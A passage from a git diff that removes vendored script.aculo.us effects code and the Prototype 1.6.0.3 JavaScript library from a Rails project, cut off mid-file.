-  return new Effect.Opacity(element,
-    Object.extend(Object.extend({  duration: 2.0, from: 0,
-      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
-    }, options), {transition: reverser}));
-};
-
-Effect.Fold = function(element) {
-  element = $(element);
-  var oldStyle = {
-    top: element.style.top,
-    left: element.style.left,
-    width: element.style.width,
-    height: element.style.height };
-  element.makeClipping();
-  return new Effect.Scale(element, 5, Object.extend({
-    scaleContent: false,
-    scaleX: false,
-    afterFinishInternal: function(effect) {
-    new Effect.Scale(element, 1, {
-      scaleContent: false,
-      scaleY: false,
-      afterFinishInternal: function(effect) {
-        effect.element.hide().undoClipping().setStyle(oldStyle);
-      } });
-  }}, arguments[1] || { }));
-};
-
-Effect.Morph = Class.create(Effect.Base, {
-  initialize: function(element) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    var options = Object.extend({
-      style: { }
-    }, arguments[1] || { });
-
-    if (!Object.isString(options.style)) this.style = $H(options.style);
-    else {
-      if (options.style.include(':'))
-        this.style = options.style.parseStyle();
-      else {
-        this.element.addClassName(options.style);
-        this.style = $H(this.element.getStyles());
-        this.element.removeClassName(options.style);
-        var css = this.element.getStyles();
-        this.style = this.style.reject(function(style) {
-          return style.value == css[style.key];
-        });
-        options.afterFinishInternal = function(effect) {
-          effect.element.addClassName(effect.options.style);
-          effect.transforms.each(function(transform) {
-            effect.element.style[transform.style] = '';
-          });
-        };
-      }
-    }
-    this.start(options);
-  },
-
-  setup: function(){
-    function parseColor(color){
-      if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff';
-      color = color.parseColor();
-      return $R(0,2).map(function(i){
-        return parseInt( color.slice(i*2+1,i*2+3), 16 );
-      });
-    }
-    this.transforms = this.style.map(function(pair){
-      var property = pair[0], value = pair[1], unit = null;
-
-      if (value.parseColor('#zzzzzz') != '#zzzzzz') {
-        value = value.parseColor();
-        unit  = 'color';
-      } else if (property == 'opacity') {
-        value = parseFloat(value);
-        if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
-          this.element.setStyle({zoom: 1});
-      } else if (Element.CSS_LENGTH.test(value)) {
-          var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
-          value = parseFloat(components[1]);
-          unit = (components.length == 3) ? components[2] : null;
-      }
-
-      var originalValue = this.element.getStyle(property);
-      return {
-        style: property.camelize(),
-        originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0),
-        targetValue: unit=='color' ? parseColor(value) : value,
-        unit: unit
-      };
-    }.bind(this)).reject(function(transform){
-      return (
-        (transform.originalValue == transform.targetValue) ||
-        (
-          transform.unit != 'color' &&
-          (isNaN(transform.originalValue) || isNaN(transform.targetValue))
-        )
-      );
-    });
-  },
-  update: function(position) {
-    var style = { }, transform, i = this.transforms.length;
-    while(i--)
-      style[(transform = this.transforms[i]).style] =
-        transform.unit=='color' ? '#'+
-          (Math.round(transform.originalValue[0]+
-            (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() +
-          (Math.round(transform.originalValue[1]+
-            (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() +
-          (Math.round(transform.originalValue[2]+
-            (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() :
-        (transform.originalValue +
-          (transform.targetValue - transform.originalValue) * position).toFixed(3) +
-            (transform.unit === null ? '' : transform.unit);
-    this.element.setStyle(style, true);
-  }
-});
-
-Effect.Transform = Class.create({
-  initialize: function(tracks){
-    this.tracks  = [];
-    this.options = arguments[1] || { };
-    this.addTracks(tracks);
-  },
-  addTracks: function(tracks){
-    tracks.each(function(track){
-      track = $H(track);
-      var data = track.values().first();
-      this.tracks.push($H({
-        ids:     track.keys().first(),
-        effect:  Effect.Morph,
-        options: { style: data }
-      }));
-    }.bind(this));
-    return this;
-  },
-  play: function(){
-    return new Effect.Parallel(
-      this.tracks.map(function(track){
-        var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options');
-        var elements = [$(ids) || $$(ids)].flatten();
-        return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) });
-      }).flatten(),
-      this.options
-    );
-  }
-});
-
-Element.CSS_PROPERTIES = $w(
-  'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' +
-  'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' +
-  'borderRightColor borderRightStyle borderRightWidth borderSpacing ' +
-  'borderTopColor borderTopStyle borderTopWidth bottom clip color ' +
-  'fontSize fontWeight height left letterSpacing lineHeight ' +
-  'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+
-  'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' +
-  'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' +
-  'right textIndent top width wordSpacing zIndex');
-
-Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;
-
-String.__parseStyleElement = document.createElement('div');
-String.prototype.parseStyle = function(){
-  var style, styleRules = $H();
-  if (Prototype.Browser.WebKit)
-    style = new Element('div',{style:this}).style;
-  else {
-    String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
-    style = String.__parseStyleElement.childNodes[0].style;
-  }
-
-  Element.CSS_PROPERTIES.each(function(property){
-    if (style[property]) styleRules.set(property, style[property]);
-  });
-
-  if (Prototype.Browser.IE && this.include('opacity'))
-    styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);
-
-  return styleRules;
-};
-
-if (document.defaultView && document.defaultView.getComputedStyle) {
-  Element.getStyles = function(element) {
-    var css = document.defaultView.getComputedStyle($(element), null);
-    return Element.CSS_PROPERTIES.inject({ }, function(styles, property) {
-      styles[property] = css[property];
-      return styles;
-    });
-  };
-} else {
-  Element.getStyles = function(element) {
-    element = $(element);
-    var css = element.currentStyle, styles;
-    styles = Element.CSS_PROPERTIES.inject({ }, function(results, property) {
-      results[property] = css[property];
-      return results;
-    });
-    if (!styles.opacity) styles.opacity = element.getOpacity();
-    return styles;
-  };
-}
-
-Effect.Methods = {
-  morph: function(element, style) {
-    element = $(element);
-    new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { }));
-    return element;
-  },
-  visualEffect: function(element, effect, options) {
-    element = $(element);
-    var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1);
-    new Effect[klass](element, options);
-    return element;
-  },
-  highlight: function(element, options) {
-    element = $(element);
-    new Effect.Highlight(element, options);
-    return element;
-  }
-};
-
-$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+
-  'pulsate shake puff squish switchOff dropOut').each(
-  function(effect) {
-    Effect.Methods[effect] = function(element, options){
-      element = $(element);
-      Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
-      return element;
-    };
-  }
-);
-
-$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each(
-  function(f) { Effect.Methods[f] = Element[f]; }
-);
-
-Element.addMethods(Effect.Methods);
\ No newline at end of file
diff --git a/vendor/rails/railties/html/javascripts/prototype.js b/vendor/rails/railties/html/javascripts/prototype.js
deleted file mode 100644
index dfe8ab4e..00000000
--- a/vendor/rails/railties/html/javascripts/prototype.js
+++ /dev/null
@@ -1,4320 +0,0 @@
-/*  Prototype JavaScript framework, version 1.6.0.3
- *  (c) 2005-2008 Sam Stephenson
- *
- *  Prototype is freely distributable under the terms of an MIT-style license.
- *  For details, see the Prototype web site: http://www.prototypejs.org/
- *
- *--------------------------------------------------------------------------*/
-
-var Prototype = {
-  Version: '1.6.0.3',
-
-  Browser: {
-    IE:     !!(window.attachEvent &&
-      navigator.userAgent.indexOf('Opera') === -1),
-    Opera:  navigator.userAgent.indexOf('Opera') > -1,
-    WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1,
-    Gecko:  navigator.userAgent.indexOf('Gecko') > -1 &&
-      navigator.userAgent.indexOf('KHTML') === -1,
-    MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/)
-  },
-
-  BrowserFeatures: {
-    XPath: !!document.evaluate,
-    SelectorsAPI: !!document.querySelector,
-    ElementExtensions: !!window.HTMLElement,
-    SpecificElementExtensions:
-      document.createElement('div')['__proto__'] &&
-      document.createElement('div')['__proto__'] !==
-        document.createElement('form')['__proto__']
-  },
-
-  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
-  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
-
-  emptyFunction: function() { },
-  K: function(x) { return x }
-};
-
-if (Prototype.Browser.MobileSafari)
-  Prototype.BrowserFeatures.SpecificElementExtensions = false;
-
-
-/* Based on Alex Arnell's inheritance implementation. */
-var Class = {
-  create: function() {
-    var parent = null, properties = $A(arguments);
-    if (Object.isFunction(properties[0]))
-      parent = properties.shift();
-
-    function klass() {
-      this.initialize.apply(this, arguments);
-    }
-
-    Object.extend(klass, Class.Methods);
-    klass.superclass = parent;
-    klass.subclasses = [];
-
-    if (parent) {
-      var subclass = function() { };
-      subclass.prototype = parent.prototype;
-      klass.prototype = new subclass;
-      parent.subclasses.push(klass);
-    }
-
-    for (var i = 0; i < properties.length; i++)
-      klass.addMethods(properties[i]);
-
-    if (!klass.prototype.initialize)
-      klass.prototype.initialize = Prototype.emptyFunction;
-
-    klass.prototype.constructor = klass;
-
-    return klass;
-  }
-};
-
-Class.Methods = {
-  addMethods: function(source) {
-    var ancestor   = this.superclass && this.superclass.prototype;
-    var properties = Object.keys(source);
-
-    if (!Object.keys({ toString: true }).length)
-      properties.push("toString", "valueOf");
-
-    for (var i = 0, length = properties.length; i < length; i++) {
-      var property = properties[i], value = source[property];
-      if (ancestor && Object.isFunction(value) &&
-          value.argumentNames().first() == "$super") {
-        var method = value;
-        value = (function(m) {
-          return function() { return ancestor[m].apply(this, arguments) };
-        })(property).wrap(method);
-
-        value.valueOf = method.valueOf.bind(method);
-        value.toString = method.toString.bind(method);
-      }
-      this.prototype[property] = value;
-    }
-
-    return this;
-  }
-};
-
-var Abstract = { };
-
-Object.extend = function(destination, source) {
-  for (var property in source)
-    destination[property] = source[property];
-  return destination;
-};
-
-Object.extend(Object, {
-  inspect: function(object) {
-    try {
-      if (Object.isUndefined(object)) return 'undefined';
-      if (object === null) return 'null';
-      return object.inspect ? object.inspect() : String(object);
-    } catch (e) {
-      if (e instanceof RangeError) return '...';
-      throw e;
-    }
-  },
-
-  toJSON: function(object) {
-    var type = typeof object;
-    switch (type) {
-      case 'undefined':
-      case 'function':
-      case 'unknown': return;
-      case 'boolean': return object.toString();
-    }
-
-    if (object === null) return 'null';
-    if (object.toJSON) return object.toJSON();
-    if (Object.isElement(object)) return;
-
-    var results = [];
-    for (var property in object) {
-      var value = Object.toJSON(object[property]);
-      if (!Object.isUndefined(value))
-        results.push(property.toJSON() + ': ' + value);
-    }
-
-    return '{' + results.join(', ') + '}';
-  },
-
-  toQueryString: function(object) {
-    return $H(object).toQueryString();
-  },
-
-  toHTML: function(object) {
-    return object && object.toHTML ? object.toHTML() : String.interpret(object);
-  },
-
-  keys: function(object) {
-    var keys = [];
-    for (var property in object)
-      keys.push(property);
-    return keys;
-  },
-
-  values: function(object) {
-    var values = [];
-    for (var property in object)
-      values.push(object[property]);
-    return values;
-  },
-
-  clone: function(object) {
-    return Object.extend({ }, object);
-  },
-
-  isElement: function(object) {
-    return !!(object && object.nodeType == 1);
-  },
-
-  isArray: function(object) {
-    return object != null && typeof object == "object" &&
-      'splice' in object && 'join' in object;
-  },
-
-  isHash: function(object) {
-    return object instanceof Hash;
-  },
-
-  isFunction: function(object) {
-    return typeof object == "function";
-  },
-
-  isString: function(object) {
-    return typeof object == "string";
-  },
-
-  isNumber: function(object) {
-    return typeof object == "number";
-  },
-
-  isUndefined: function(object) {
-    return typeof object == "undefined";
-  }
-});
-
-Object.extend(Function.prototype, {
-  argumentNames: function() {
-    var names = this.toString().match(/^[\s\(]*function[^(]*\(([^\)]*)\)/)[1]
-      .replace(/\s+/g, '').split(',');
-    return names.length == 1 && !names[0] ? [] : names;
-  },
-
-  bind: function() {
-    if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this;
-    var __method = this, args = $A(arguments), object = args.shift();
-    return function() {
-      return __method.apply(object, args.concat($A(arguments)));
-    }
-  },
-
-  bindAsEventListener: function() {
-    var __method = this, args = $A(arguments), object = args.shift();
-    return function(event) {
-      return __method.apply(object, [event || window.event].concat(args));
-    }
-  },
-
-  curry: function() {
-    if (!arguments.length) return this;
-    var __method = this, args = $A(arguments);
-    return function() {
-      return __method.apply(this, args.concat($A(arguments)));
-    }
-  },
-
-  delay: function() {
-    var __method = this, args = $A(arguments), timeout = args.shift() * 1000;
-    return window.setTimeout(function() {
-      return __method.apply(__method, args);
-    }, timeout);
-  },
-
-  defer: function() {
-    var args = [0.01].concat($A(arguments));
-    return this.delay.apply(this, args);
-  },
-
-  wrap: function(wrapper) {
-    var __method = this;
-    return function() {
-      return wrapper.apply(this, [__method.bind(this)].concat($A(arguments)));
-    }
-  },
-
-  methodize: function() {
-    if (this._methodized) return this._methodized;
-    var __method = this;
-    return this._methodized = function() {
-      return __method.apply(null, [this].concat($A(arguments)));
-    };
-  }
-});
-
-Date.prototype.toJSON = function() {
-  return '"' + this.getUTCFullYear() + '-' +
-    (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
-    this.getUTCDate().toPaddedString(2) + 'T' +
-    this.getUTCHours().toPaddedString(2) + ':' +
-    this.getUTCMinutes().toPaddedString(2) + ':' +
-    this.getUTCSeconds().toPaddedString(2) + 'Z"';
-};
-
-var Try = {
-  these: function() {
-    var returnValue;
-
-    for (var i = 0, length = arguments.length; i < length; i++) {
-      var lambda = arguments[i];
-      try {
-        returnValue = lambda();
-        break;
-      } catch (e) { }
-    }
-
-    return returnValue;
-  }
-};
-
-RegExp.prototype.match = RegExp.prototype.test;
-
-RegExp.escape = function(str) {
-  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
-};
-
-/*--------------------------------------------------------------------------*/
-
-var PeriodicalExecuter = Class.create({
-  initialize: function(callback, frequency) {
-    this.callback = callback;
-    this.frequency = frequency;
-    this.currentlyExecuting = false;
-
-    this.registerCallback();
-  },
-
-  registerCallback: function() {
-    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
-  },
-
-  execute: function() {
-    this.callback(this);
-  },
-
-  stop: function() {
-    if (!this.timer) return;
-    clearInterval(this.timer);
-    this.timer = null;
-  },
-
-  onTimerEvent: function() {
-    if (!this.currentlyExecuting) {
-      try {
-        this.currentlyExecuting = true;
-        this.execute();
-      } finally {
-        this.currentlyExecuting = false;
-      }
-    }
-  }
-});
-Object.extend(String, {
-  interpret: function(value) {
-    return value == null ? '' : String(value);
-  },
-  specialChar: {
-    '\b': '\\b',
-    '\t': '\\t',
-    '\n': '\\n',
-    '\f': '\\f',
-    '\r': '\\r',
-    '\\': '\\\\'
-  }
-});
-
-Object.extend(String.prototype, {
-  gsub: function(pattern, replacement) {
-    var result = '', source = this, match;
-    replacement = arguments.callee.prepareReplacement(replacement);
-
-    while (source.length > 0) {
-      if (match = source.match(pattern)) {
-        result += source.slice(0, match.index);
-        result += String.interpret(replacement(match));
-        source  = source.slice(match.index + match[0].length);
-      } else {
-        result += source, source = '';
-      }
-    }
-    return result;
-  },
-
-  sub: function(pattern, replacement, count) {
-    replacement = this.gsub.prepareReplacement(replacement);
-    count = Object.isUndefined(count) ? 1 : count;
-
-    return this.gsub(pattern, function(match) {
-      if (--count < 0) return match[0];
-      return replacement(match);
-    });
-  },
-
-  scan: function(pattern, iterator) {
-    this.gsub(pattern, iterator);
-    return String(this);
-  },
-
-  truncate: function(length, truncation) {
-    length = length || 30;
-    truncation = Object.isUndefined(truncation) ? '...' : truncation;
-    return this.length > length ?
-      this.slice(0, length - truncation.length) + truncation : String(this);
-  },
-
-  strip: function() {
-    return this.replace(/^\s+/, '').replace(/\s+$/, '');
-  },
-
-  stripTags: function() {
-    return this.replace(/<\/?[^>]+>/gi, '');
-  },
-
-  stripScripts: function() {
-    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
-  },
-
-  extractScripts: function() {
-    var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
-    var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
-    return (this.match(matchAll) || []).map(function(scriptTag) {
-      return (scriptTag.match(matchOne) || ['', ''])[1];
-    });
-  },
-
-  evalScripts: function() {
-    return this.extractScripts().map(function(script) { return eval(script) });
-  },
-
-  escapeHTML: function() {
-    var self = arguments.callee;
-    self.text.data = this;
-    return self.div.innerHTML;
-  },
-
-  unescapeHTML: function() {
-    var div = new Element('div');
-    div.innerHTML = this.stripTags();
-    return div.childNodes[0] ? (div.childNodes.length > 1 ?
-      $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) :
-      div.childNodes[0].nodeValue) : '';
-  },
-
-  toQueryParams: function(separator) {
-    var match = this.strip().match(/([^?#]*)(#.*)?$/);
-    if (!match) return { };
-
-    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
-      if ((pair = pair.split('='))[0]) {
-        var key = decodeURIComponent(pair.shift());
-        var value = pair.length > 1 ? pair.join('=') : pair[0];
-        if (value != undefined) value = decodeURIComponent(value);
-
-        if (key in hash) {
-          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
-          hash[key].push(value);
-        }
-        else hash[key] = value;
-      }
-      return hash;
-    });
-  },
-
-  toArray: function() {
-    return this.split('');
-  },
-
-  succ: function() {
-    return this.slice(0, this.length - 1) +
-      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
-  },
-
-  times: function(count) {
-    return count < 1 ? '' : new Array(count + 1).join(this);
-  },
-
-  camelize: function() {
-    var parts = this.split('-'), len = parts.length;
-    if (len == 1) return parts[0];
-
-    var camelized = this.charAt(0) == '-'
-      ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
-      : parts[0];
-
-    for (var i = 1; i < len; i++)
-      camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);
-
-    return camelized;
-  },
-
-  capitalize: function() {
-    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
-  },
-
-  underscore: function() {
-    return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase();
-  },
-
-  dasherize: function() {
-    return this.gsub(/_/,'-');
-  },
-
-  inspect: function(useDoubleQuotes) {
-    var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) {
-      var character = String.specialChar[match[0]];
-      return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16);
-    });
-    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
-    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
-  },
-
-  toJSON: function() {
-    return this.inspect(true);
-  },
-
-  unfilterJSON: function(filter) {
-    return this.sub(filter || Prototype.JSONFilter, '#{1}');
-  },
-
-  isJSON: function() {
-    var str = this;
-    if (str.blank()) return false;
-    str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
-    return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
-  },
-
-  evalJSON: function(sanitize) {
-    var json = this.unfilterJSON();
-    try {
-      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
-    } catch (e) { }
-    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
-  },
-
-  include: function(pattern) {
-    return this.indexOf(pattern) > -1;
-  },
-
-  startsWith: function(pattern) {
-    return this.indexOf(pattern) === 0;
-  },
-
-  endsWith: function(pattern) {
-    var d = this.length - pattern.length;
-    return d >= 0 && this.lastIndexOf(pattern) === d;
-  },
-
-  empty: function() {
-    return this == '';
-  },
-
-  blank: function() {
-    return /^\s*$/.test(this);
-  },
-
-  interpolate: function(object, pattern) {
-    return new Template(this, pattern).evaluate(object);
-  }
-});
-
-if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, {
-  escapeHTML: function() {
-    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
-  },
-  unescapeHTML: function() {
-    return this.stripTags().replace(/&amp;/g,'&').replace(/&lt;/g,'<').replace(/&gt;/g,'>');
-  }
-});
-
-String.prototype.gsub.prepareReplacement = function(replacement) {
-  if (Object.isFunction(replacement)) return replacement;
-  var template = new Template(replacement);
-  return function(match) { return template.evaluate(match) };
-};
-
-String.prototype.parseQuery = String.prototype.toQueryParams;
-
-Object.extend(String.prototype.escapeHTML, {
-  div:  document.createElement('div'),
-  text: document.createTextNode('')
-});
-
-String.prototype.escapeHTML.div.appendChild(String.prototype.escapeHTML.text);
-
-var Template = Class.create({
-  initialize: function(template, pattern) {
-    this.template = template.toString();
-    this.pattern = pattern || Template.Pattern;
-  },
-
-  evaluate: function(object) {
-    if (Object.isFunction(object.toTemplateReplacements))
-      object = object.toTemplateReplacements();
-
-    return this.template.gsub(this.pattern, function(match) {
-      if (object == null) return '';
-
-      var before = match[1] || '';
-      if (before == '\\') return match[2];
-
-      var ctx = object, expr = match[3];
-      var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;
-      match = pattern.exec(expr);
-      if (match == null) return before;
-
-      while (match != null) {
-        var comp = match[1].startsWith('[') ? match[2].gsub('\\\\]', ']') : match[1];
-        ctx = ctx[comp];
-        if (null == ctx || '' == match[3]) break;
-        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
-        match = pattern.exec(expr);
-      }
-
-      return before + String.interpret(ctx);
-    });
-  }
-});
-Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
-
-var $break = { };
-
-var Enumerable = {
-  each: function(iterator, context) {
-    var index = 0;
-    try {
-      this._each(function(value) {
-        iterator.call(context, value, index++);
-      });
-    } catch (e) {
-      if (e != $break) throw e;
-    }
-    return this;
-  },
-
-  eachSlice: function(number, iterator, context) {
-    var index = -number, slices = [], array = this.toArray();
-    if (number < 1) return array;
-    while ((index += number) < array.length)
-      slices.push(array.slice(index, index+number));
-    return slices.collect(iterator, context);
-  },
-
-  all: function(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var result = true;
-    this.each(function(value, index) {
-      result = result && !!iterator.call(context, value, index);
-      if (!result) throw $break;
-    });
-    return result;
-  },
-
-  any: function(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var result = false;
-    this.each(function(value, index) {
-      if (result = !!iterator.call(context, value, index))
-        throw $break;
-    });
-    return result;
-  },
-
-  collect: function(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var results = [];
-    this.each(function(value, index) {
-      results.push(iterator.call(context, value, index));
-    });
-    return results;
-  },
-
-  detect: function(iterator, context) {
-    var result;
-    this.each(function(value, index) {
-      if (iterator.call(context, value, index)) {
-        result = value;
-        throw $break;
-      }
-    });
-    return result;
-  },
-
-  findAll: function(iterator, context) {
-    var results = [];
-    this.each(function(value, index) {
-      if (iterator.call(context, value, index))
-        results.push(value);
-    });
-    return results;
-  },
-
-  grep: function(filter, iterator, context) {
-    iterator = iterator || Prototype.K;
-    var results = [];
-
-    if (Object.isString(filter))
-      filter = new RegExp(filter);
-
-    this.each(function(value, index) {
-      if (filter.match(value))
-        results.push(iterator.call(context, value, index));
-    });
-    return results;
-  },
-
-  include: function(object) {
-    if (Object.isFunction(this.indexOf))
-      if (this.indexOf(object) != -1) return true;
-
-    var found = false;
-    this.each(function(value) {
-      if (value == object) {
-        found = true;
-        throw $break;
-      }
-    });
-    return found;
-  },
-
-  inGroupsOf: function(number, fillWith) {
-    fillWith = Object.isUndefined(fillWith) ? null : fillWith;
-    return this.eachSlice(number, function(slice) {
-      while(slice.length < number) slice.push(fillWith);
-      return slice;
-    });
-  },
-
-  inject: function(memo, iterator, context) {
-    this.each(function(value, index) {
-      memo = iterator.call(context, memo, value, index);
-    });
-    return memo;
-  },
-
-  invoke: function(method) {
-    var args = $A(arguments).slice(1);
-    return this.map(function(value) {
-      return value[method].apply(value, args);
-    });
-  },
-
-  max: function(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var result;
-    this.each(function(value, index) {
-      value = iterator.call(context, value, index);
-      if (result == null || value >= result)
-        result = value;
-    });
-    return result;
-  },
-
-  min: function(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var result;
-    this.each(function(value, index) {
-      value = iterator.call(context, value, index);
-      if (result == null || value < result)
-        result = value;
-    });
-    return result;
-  },
-
-  partition: function(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var trues = [], falses = [];
-    this.each(function(value, index) {
-      (iterator.call(context, value, index) ?
-        trues : falses).push(value);
-    });
-    return [trues, falses];
-  },
-
-  pluck: function(property) {
-    var results = [];
-    this.each(function(value) {
-      results.push(value[property]);
-    });
-    return results;
-  },
-
-  reject: function(iterator, context) {
-    var results = [];
-    this.each(function(value, index) {
-      if (!iterator.call(context, value, index))
-        results.push(value);
-    });
-    return results;
-  },
-
-  sortBy: function(iterator, context) {
-    return this.map(function(value, index) {
-      return {
-        value: value,
-        criteria: iterator.call(context, value, index)
-      };
-    }).sort(function(left, right) {
-      var a = left.criteria, b = right.criteria;
-      return a < b ? -1 : a > b ? 1 : 0;
-    }).pluck('value');
-  },
-
-  toArray: function() {
-    return this.map();
-  },
-
-  zip: function() {
-    var iterator = Prototype.K, args = $A(arguments);
-    if (Object.isFunction(args.last()))
-      iterator = args.pop();
-
-    var collections = [this].concat(args).map($A);
-    return this.map(function(value, index) {
-      return iterator(collections.pluck(index));
-    });
-  },
-
-  size: function() {
-    return this.toArray().length;
-  },
-
-  inspect: function() {
-    return '#<Enumerable:' + this.toArray().inspect() + '>';
-  }
-};
-
-Object.extend(Enumerable, {
-  map:     Enumerable.collect,
-  find:    Enumerable.detect,
-  select:  Enumerable.findAll,
-  filter:  Enumerable.findAll,
-  member:  Enumerable.include,
-  entries: Enumerable.toArray,
-  every:   Enumerable.all,
-  some:    Enumerable.any
-});
-function $A(iterable) {
-  if (!iterable) return [];
-  if (iterable.toArray) return iterable.toArray();
-  var length = iterable.length || 0, results = new Array(length);
-  while (length--) results[length] = iterable[length];
-  return results;
-}
-
-if (Prototype.Browser.WebKit) {
-  $A = function(iterable) {
-    if (!iterable) return [];
-    // In Safari, only use the `toArray` method if it's not a NodeList.
-    // A NodeList is a function, has an function `item` property, and a numeric
-    // `length` property. Adapted from Google Doctype.
-    if (!(typeof iterable === 'function' && typeof iterable.length ===
-        'number' && typeof iterable.item === 'function') && iterable.toArray)
-      return iterable.toArray();
-    var length = iterable.length || 0, results = new Array(length);
-    while (length--) results[length] = iterable[length];
-    return results;
-  };
-}
-
-Array.from = $A;
-
-Object.extend(Array.prototype, Enumerable);
-
-if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse;
-
-Object.extend(Array.prototype, {
-  _each: function(iterator) {
-    for (var i = 0, length = this.length; i < length; i++)
-      iterator(this[i]);
-  },
-
-  clear: function() {
-    this.length = 0;
-    return this;
-  },
-
-  first: function() {
-    return this[0];
-  },
-
-  last: function() {
-    return this[this.length - 1];
-  },
-
-  compact: function() {
-    return this.select(function(value) {
-      return value != null;
-    });
-  },
-
-  flatten: function() {
-    return this.inject([], function(array, value) {
-      return array.concat(Object.isArray(value) ?
-        value.flatten() : [value]);
-    });
-  },
-
-  without: function() {
-    var values = $A(arguments);
-    return this.select(function(value) {
-      return !values.include(value);
-    });
-  },
-
-  reverse: function(inline) {
-    return (inline !== false ? this : this.toArray())._reverse();
-  },
-
-  reduce: function() {
-    return this.length > 1 ? this : this[0];
-  },
-
-  uniq: function(sorted) {
-    return this.inject([], function(array, value, index) {
-      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
-        array.push(value);
-      return array;
-    });
-  },
-
-  intersect: function(array) {
-    return this.uniq().findAll(function(item) {
-      return array.detect(function(value) { return item === value });
-    });
-  },
-
-  clone: function() {
-    return [].concat(this);
-  },
-
-  size: function() {
-    return this.length;
-  },
-
-  inspect: function() {
-    return '[' + this.map(Object.inspect).join(', ') + ']';
-  },
-
-  toJSON: function() {
-    var results = [];
-    this.each(function(object) {
-      var value = Object.toJSON(object);
-      if (!Object.isUndefined(value)) results.push(value);
-    });
-    return '[' + results.join(', ') + ']';
-  }
-});
-
-// use native browser JS 1.6 implementation if available
-if (Object.isFunction(Array.prototype.forEach))
-  Array.prototype._each = Array.prototype.forEach;
-
-if (!Array.prototype.indexOf) Array.prototype.indexOf = function(item, i) {
-  i || (i = 0);
-  var length = this.length;
-  if (i < 0) i = length + i;
-  for (; i < length; i++)
-    if (this[i] === item) return i;
-  return -1;
-};
-
-if (!Array.prototype.lastIndexOf) Array.prototype.lastIndexOf = function(item, i) {
-  i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
-  var n = this.slice(0, i).reverse().indexOf(item);
-  return (n < 0) ? n : i - n - 1;
-};
-
-Array.prototype.toArray = Array.prototype.clone;
-
-function $w(string) {
-  if (!Object.isString(string)) return [];
-  string = string.strip();
-  return string ? string.split(/\s+/) : [];
-}
-
-if (Prototype.Browser.Opera){
-  Array.prototype.concat = function() {
-    var array = [];
-    for (var i = 0, length = this.length; i < length; i++) array.push(this[i]);
-    for (var i = 0, length = arguments.length; i < length; i++) {
-      if (Object.isArray(arguments[i])) {
-        for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++)
-          array.push(arguments[i][j]);
-      } else {
-        array.push(arguments[i]);
-      }
-    }
-    return array;
-  };
-}
-Object.extend(Number.prototype, {
-  toColorPart: function() {
